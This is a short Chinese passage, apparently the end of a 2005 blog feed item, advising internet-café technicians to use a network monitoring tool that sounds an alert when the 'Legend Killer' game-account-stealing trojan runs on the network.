为彻底封杀传奇杀手木马程序，有效保证用户传奇帐号和密码的安全。可以在网吧收银机端安装网络执法官程序，并且按照上文的叙述设置智能监控。当网络执法官监控程序发现网络中有传奇杀手木马程序工作时，会自动发生声音警报，以此来警告来上网的用户。这样技术人员就可以在第一时间内发现传奇杀手木马程序，然后用最快的时间关闭传奇杀手程序。<img src ="http://www.cnitblog.com/system-net/aggbug/3793.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-11-02 11:09 <a href="http://www.cnitblog.com/system-net/articles/3793.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>